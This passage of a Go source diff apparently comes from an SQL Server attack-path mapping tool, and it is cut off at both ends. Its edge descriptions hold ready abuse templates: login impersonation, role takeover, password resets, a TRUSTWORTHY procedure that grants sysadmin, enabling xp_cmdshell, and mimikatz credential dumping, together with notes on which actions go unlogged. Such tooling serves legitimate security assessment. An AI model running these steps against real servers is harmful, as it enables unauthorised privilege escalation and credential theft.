ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "Add member: EXEC sp_addrolemember '" + ctx.TargetName + "', 'user_name'; " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "Add member: EXEC sp_addrolemember '" + ctx.TargetName + "', 'user_name'; " + opsec = "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for additions to database role membership. \n" + + "To view database role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + CASE WHEN EventClass = 110 THEN ' added ' WHEN EventClass = 111 THEN ' removed ' END + TargetUserName + CASE WHEN EventClass = 110 THEN ' to ' WHEN EventClass = 111 THEN ' from ' END + ObjectName + ' in database ' + DatabaseName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass IN (110, 111) ORDER BY StartTime DESC; " + } else if ctx.TargetTypeDescription == "DATABASE" { + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "USE " + ctx.TargetName + "; \n" + + "Add member to any user-defined role: EXEC sp_addrolemember 'role_name', 'user_name'; \n" + + "Note: ALTER on database grants effective permissions ALTER ANY ROLE and ALTER ANY APPLICATION ROLE." + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "USE " + ctx.TargetName + "; \n" + + "Add member to any user-defined role: EXEC sp_addrolemember 'role_name', 'user_name'; \n" + + "Note: ALTER on database grants effective permissions ALTER ANY ROLE and ALTER ANY APPLICATION ROLE." + opsec = "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for additions to database role membership when ALTER DATABASE permission is used to add members to roles." + } + // Other database-level types (users, app roles) return empty strings + } else { + // Server-level targets + if ctx.TargetTypeDescription == "SERVER_ROLE" { + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "Add member: EXEC sp_addsrvrolemember 'login_name', '" + ctx.TargetName + "'; " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "Add member: EXEC sp_addsrvrolemember 'login_name', '" + ctx.TargetName + "'; " + opsec = "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for additions to server role membership. \n" + + "To view server role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + ' added ' + TargetLoginName + ' to ' + RoleName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass = 108 ORDER BY StartTime DESC; " + } + // Other server-level types return empty strings + } + return EdgeProperties{ + Traversable: false, + General: "The ALTER permission on a securable object allows the source " + ctx.SourceType + " to change properties, except ownership, of a particular securable object.", + WindowsAbuse: windowsAbuse, + LinuxAbuse: linuxAbuse, + Opsec: opsec, + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine?view=sql-server-ver17#permissions-naming-conventions \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-role-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-role-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17", + } + }, + + EdgeKinds.Control: func(ctx *EdgeContext) EdgeProperties { + var windowsAbuse, linuxAbuse, opsec string + isDBUser := ctx.TargetTypeDescription == "WINDOWS_USER" || ctx.TargetTypeDescription == "WINDOWS_GROUP" || ctx.TargetTypeDescription == "SQL_USER" || ctx.TargetTypeDescription == "ASYMMETRIC_KEY_MAPPED_USER" || ctx.TargetTypeDescription == "CERTIFICATE_MAPPED_USER" + isLogin := ctx.TargetTypeDescription == "WINDOWS_LOGIN" || ctx.TargetTypeDescription == "WINDOWS_GROUP" || ctx.TargetTypeDescription == "SQL_LOGIN" || ctx.TargetTypeDescription == "ASYMMETRIC_KEY_MAPPED_LOGIN" || ctx.TargetTypeDescription == "CERTIFICATE_MAPPED_LOGIN" + if ctx.DatabaseName != "" { + // Database-level targets + if isDBUser { + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "EXECUTE AS USER = '" + ctx.TargetName + "' \n" + + " SELECT USER_NAME() \n" + + "REVERT " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "EXECUTE AS USER = '" + ctx.TargetName + "' \n" + + " SELECT USER_NAME() \n" + + "REVERT " + opsec = "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are not generated for user impersonation by default." + } else if ctx.TargetTypeDescription == "DATABASE_ROLE" { + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "Add member: EXEC sp_addrolemember '" + ctx.TargetName + "', 'user_name'; \n" + + "Change owner: ALTER AUTHORIZATION ON ROLE::[" + ctx.TargetName + "] TO [user_name]; " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "Add member: EXEC sp_addrolemember '" + ctx.TargetName + "', 'user_name'; \n" + + "Change owner: ALTER AUTHORIZATION ON ROLE::[" + ctx.TargetName + "] TO [user_name]; " + opsec = "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for additions to database role membership. Role ownership changes are not logged by default. \n" + + "To view database role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + CASE WHEN EventClass = 110 THEN ' added ' WHEN EventClass = 111 THEN ' removed ' END + TargetUserName + CASE WHEN EventClass = 110 THEN ' to ' WHEN EventClass = 111 THEN ' from ' END + ObjectName + ' in database ' + DatabaseName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass IN (110, 111) ORDER BY StartTime DESC; " + } else if ctx.TargetTypeDescription == "DATABASE" { + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "USE " + ctx.TargetName + "; \n" + + "Impersonate user: EXECUTE AS USER = 'user_name'; SELECT USER_NAME(); REVERT; \n" + + "Add member to role: EXEC sp_addrolemember 'role_name', 'user_name'; \n" + + "Change owner: ALTER AUTHORIZATION ON ROLE::[role] TO [user_name]; " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "USE " + ctx.TargetName + "; \n" + + "Impersonate user: EXECUTE AS USER = 'user_name'; SELECT USER_NAME(); REVERT; \n" + + "Add member to role: EXEC sp_addrolemember 'role_name', 'user_name'; \n" + + "Change owner: ALTER AUTHORIZATION ON ROLE::[role] TO [user_name]; " + opsec = "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are not generated for user impersonation or role ownership changes by default. Log events are generated by default for additions to database role membership. " + + "To view database role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + CASE WHEN EventClass = 110 THEN ' added ' WHEN EventClass = 111 THEN ' removed ' END + TargetUserName + CASE WHEN EventClass = 110 THEN ' to ' WHEN EventClass = 111 THEN ' from ' END + ObjectName + ' in database ' + DatabaseName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass IN (110, 111) ORDER BY StartTime DESC; " + } + // Other database-level types (APPLICATION_ROLE) return empty strings + } else { + // Server-level targets + if isLogin { + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "EXECUTE AS LOGIN = '" + ctx.TargetName + "' \n" + + " SELECT SUSER_NAME() \n" + + "REVERT " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "EXECUTE AS LOGIN = '" + ctx.TargetName + "' \n" + + " SELECT SUSER_NAME() \n" + + "REVERT " + opsec = "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are not generated for login impersonation by default." + } else if ctx.TargetTypeDescription == "SERVER_ROLE" { + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "Add member: EXEC sp_addsrvrolemember 'login_name', '" + ctx.TargetName + "'; \n" + + "Change owner: ALTER AUTHORIZATION ON SERVER ROLE::[" + ctx.TargetName + "] TO [login_name]; " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "Add member: EXEC sp_addsrvrolemember 'login_name', '" + ctx.TargetName + "'; \n" + + "Change owner: ALTER AUTHORIZATION ON SERVER ROLE::[" + ctx.TargetName + "] TO [login_name]; " + opsec = "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for additions to server role membership. Server role ownership changes are not logged by default. \n" + + "To view server role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + ' added ' + TargetLoginName + ' to ' + RoleName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass = 108 ORDER BY StartTime DESC; " + } + } + return EdgeProperties{ + Traversable: false, + General: "The CONTROL permission on a securable object effectively grants the source " + ctx.SourceType + " all defined permissions on the securable object and its descendent objects. CONTROL at a particular scope includes CONTROL on all securable objects under that scope (e.g., CONTROL on a database includes control of all permissions on the database as well as all permissions on all assemblies, schemas, and other objects within all schemas in the database).", + WindowsAbuse: windowsAbuse, + LinuxAbuse: linuxAbuse, + Opsec: opsec, + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine?view=sql-server-ver17#permissions-naming-conventions \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-authorization-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17", + } + }, + + EdgeKinds.ChangeOwner: func(ctx *EdgeContext) EdgeProperties { + var windowsAbuse, linuxAbuse string + if ctx.TargetTypeDescription == "SERVER_ROLE" { + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "ALTER AUTHORIZATION ON SERVER ROLE::[" + ctx.TargetName + "] TO [login]; " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "ALTER AUTHORIZATION ON SERVER ROLE::[" + ctx.TargetName + "] TO [login]; " + } else if ctx.TargetTypeDescription == "DATABASE_ROLE" { + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "ALTER AUTHORIZATION ON ROLE::[" + ctx.TargetName + "] TO [user]; " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "ALTER AUTHORIZATION ON ROLE::[" + ctx.TargetName + "] TO [user]; " + } + return EdgeProperties{ + Traversable: true, + General: "The source " + ctx.SourceType + " can change the owner of this " + ctx.TargetType + " or descendent objects in its scope.", + WindowsAbuse: windowsAbuse, + LinuxAbuse: linuxAbuse, + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Role ownership changes are not logged by default.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-role-transact-sql?view=sql-server-ver17#permissions \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16", + } + }, + + EdgeKinds.AlterAnyLogin: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The ALTER ANY LOGIN permission on a server allows the source " + ctx.SourceType + " to change the password for any SQL login (as opposed to Windows login) that is not the fixed sa account. If the target has sysadmin or CONTROL SERVER, the principal making the change must also have sysadmin or CONTROL SERVER.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "ALTER LOGIN [login] WITH PASSWORD = 'password'; ", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "ALTER LOGIN [login] WITH PASSWORD = 'password'; ", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are not generated for password changes by default.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-login-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17", + } + }, + + EdgeKinds.AlterAnyServerRole: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The ALTER ANY SERVER ROLE permission allows the source " + ctx.SourceType + " to add members to any user-defined server role as well as add members to fixed server roles that the source " + ctx.SourceType + " is a member of.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "EXEC sp_addsrvrolemember @loginame = 'login', @rolename = 'role' ", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "EXEC sp_addsrvrolemember @loginame = 'login', @rolename = 'role' ", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for additions to server role membership. \n" + + "To view server role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + ' added ' + TargetLoginName + ' to ' + RoleName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass = 108 ORDER BY StartTime DESC; ", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-role-transact-sql?view=sql-server-ver17#permissions \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16", + } + }, + + EdgeKinds.LinkedTo: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true + General: "The source SQL Server has a linked server connection to the target SQL Server. The actual privileges available through this link depend on the authentication configuration and remote user mapping.", + WindowsAbuse: "Query the linked server: SELECT * FROM [LinkedServerName].[Database].[Schema].[Table]; or execute commands: EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LinkedServerName]; ", + LinuxAbuse: "Query the linked server: SELECT * FROM [LinkedServerName].[Database].[Schema].[Table]; or execute commands: EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LinkedServerName]; ", + Opsec: "Linked server queries are logged in the remote server's trace log as coming from the linked server login. Errors may reveal information about the remote server configuration.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine?view=sql-server-ver17", + } + }, + + EdgeKinds.ExecuteAsOwner: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The source " + ctx.SourceType + " can escalate privileges to the server level by creating or modifying database objects (stored procedures, functions, or CLR assemblies) that use EXECUTE AS OWNER. Since the database is TRUSTWORTHY and owned by a highly privileged login, code executing as the owner will have those elevated server privileges.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statements:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "GO \n" + + "CREATE PROCEDURE dbo.EscalatePrivs \n" + + "WITH EXECUTE AS OWNER \n" + + "AS \n" + + "BEGIN \n" + + " -- Add current login to sysadmin role \n" + + " EXEC sp_addsrvrolemember @loginame = '" + ctx.SourceType + "', @rolename = 'sysadmin'; \n" + + " -- Impersonate the sa login \n" + + " EXECUTE AS LOGIN = 'sa'; \n" + + " -- Now executing with sa privileges \n" + + " SELECT SUSER_NAME(): \n" + + " -- Perform privileged actions here \n" + + " REVERT; \n" + + "END; \n" + + "GO \n" + + "EXEC dbo.EscalatePrivs; ", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statements:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "GO \n" + + "CREATE PROCEDURE dbo.EscalatePrivs \n" + + "WITH EXECUTE AS OWNER \n" + + "AS \n" + + "BEGIN \n" + + " -- Add current login to sysadmin role \n" + + " EXEC sp_addsrvrolemember @loginame = '" + ctx.SourceType + "', @rolename = 'sysadmin'; \n" + + " -- Impersonate the sa login \n" + + " EXECUTE AS LOGIN = 'sa'; \n" + + " -- Now executing with sa privileges \n" + + " SELECT SUSER_NAME(): \n" + + " -- Perform privileged actions here \n" + + " REVERT; \n" + + "END; \n" + + "GO \n" + + "EXEC dbo.EscalatePrivs; ", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. \n" + + "Creating stored procedures is not logged by default. However, adding members to the sysadmin role is logged. \n" + + "To view server role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + ' added ' + TargetLoginName + ' to ' + RoleName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass = 108 ORDER BY StartTime DESC; ", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-clause-transact-sql?view=sql-server-ver17 \n" + + "- https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet", + } + }, + + EdgeKinds.IsTrustedBy: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true + General: "The database " + ctx.SourceName + " has the TRUSTWORTHY property set to ON. This means that SQL Server trusts this database, allowing code within it to execute with the privileges of the database owner at the server level.", + WindowsAbuse: "This relationship may allow privilege escalation when combined with the ability to execute code within the database if the owner has high privileges at the server level. See MSSQL_ExecuteAsOwner edges from this database for exploitation paths.", + LinuxAbuse: "This relationship enables privilege escalation when combined with the ability to execute code within the database if the owner has high privileges at the server level. See MSSQL_ExecuteAsOwner edges from this database for exploitation paths.", + Opsec: "The TRUSTWORTHY property and database ownership are not typically monitored. Exploitation through CLR assemblies, stored procedures, or functions that use EXECUTE AS OWNER will not generate specific security events by default.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property?view=sql-server-ver17 \n" + + "- https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-database-transact-sql-set-options?view=sql-server-ver17", + } + }, + + EdgeKinds.ServiceAccountFor: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true + General: "The " + ctx.SourceType + " is the service account running the SQL Server service for " + ctx.TargetName + ".", + WindowsAbuse: "Compromise of the service account grants access to the SQL Server process and potentially to stored credentials and data.", + LinuxAbuse: "Compromise of the service account grants access to the SQL Server process and potentially to stored credentials and data.", + Opsec: "Service account changes require restarting the SQL Server service.", + References: "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions", + } + }, + + EdgeKinds.HostFor: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The computer " + ctx.SourceName + " hosts the target SQL Server instance " + ctx.TargetName + ".", + WindowsAbuse: "With admin access to the host, you can access the SQL instance: \n" + + "If the SQL instance is running as a built-in account (Local System, Local Service, or Network Service), it can be accessed with a SYSTEM context with sqlcmd. \n" + + "If the SQL instance is running in a domain service account context, the cleartext credentials can be dumped from LSA secrets with mimikatz sekurlsa::logonpasswords, then they can be used to request a service ticket for a domain account with admin access to the SQL instance. \n" + + "If there are no domain DBAs, it is still possible to start the instance in single-user mode, which allows any member of the computer's local Administrators group to connect as a sysadmin. WARNING: This is disruptive, possibly destructive, and will cause the database to become unavailable to other users while in single-user mode. It is not recommended.", + LinuxAbuse: "If you have root access to the host, you can access SQL Server by manipulating the service or accessing database files directly.", + Opsec: "Host access allows reading memory, modifying binaries, and accessing database files directly.", + References: "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/start-sql-server-in-single-user-mode?view=sql-server-ver17", + } + }, + + EdgeKinds.ExecuteOnHost: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "Control of a SQL Server instance allows xp_cmdshell or other OS command execution capabilities to be used to access the host computer in the context of the account running the SQL server.", + WindowsAbuse: "Enable and use xp_cmdshell: EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'; ", + LinuxAbuse: "Enable and use xp_cmdshell: EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'; ", + Opsec: "xp_cmdshell configuration option changes are logged in SQL Server error logs. View the log by executing: EXEC sp_readerrorlog 0, 1, 'xp_cmdshell'; ", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver17", + } + }, + + EdgeKinds.GrantAnyPermission: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The securityadmin fixed server role can grant any server-level permission to any login, including CONTROL SERVER. This effectively allows members to grant themselves or others full control of the SQL Server instance.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as a member of securityadmin (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statements:\n" + + "-- Grant CONTROL SERVER to yourself or another login \n" + + "GRANT CONTROL SERVER TO [target_login]; \n" + + "-- Or grant specific high privileges \n" + + "GRANT IMPERSONATE ANY LOGIN TO [target_login]; \n" + + "GRANT ALTER ANY LOGIN TO [target_login]; \n" + + "GRANT ALTER ANY SERVER ROLE TO [target_login]; ", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as a member of securityadmin (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statements:\n" + + "-- Grant CONTROL SERVER to yourself or another login \n" + + "GRANT CONTROL SERVER TO [target_login]; \n" + + "-- Or grant specific high privileges \n" + + "GRANT IMPERSONATE ANY LOGIN TO [target_login]; \n" + + "GRANT ALTER ANY LOGIN TO [target_login]; \n" + + "GRANT ALTER ANY SERVER ROLE TO [target_login]; ", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. \n" + + "Permission grants are not logged by default in the trace log.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-ver17#fixed-server-level-roles \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql?view=sql-server-ver17 \n" + + "- https://www.netspi.com/blog/technical-blog/network-penetration-testing/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/", + } + }, + + EdgeKinds.GrantAnyDBPermission: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The db_securityadmin fixed database role db_securityadmin can create roles, manage role memberships, and grant all database permissions, effectively granting full database control.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as a member of db_securityadmin (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statements:\n" + + "USE " + ctx.TargetName + "; \n" + + " -- Create a role \n" + + " CREATE ROLE [EvilRole]; \n" + + " -- Add self \n" + + " EXEC sp_addrolemember 'EvilRole', 'db_secadmin'; \n" + + " -- Grant the role CONTROL of 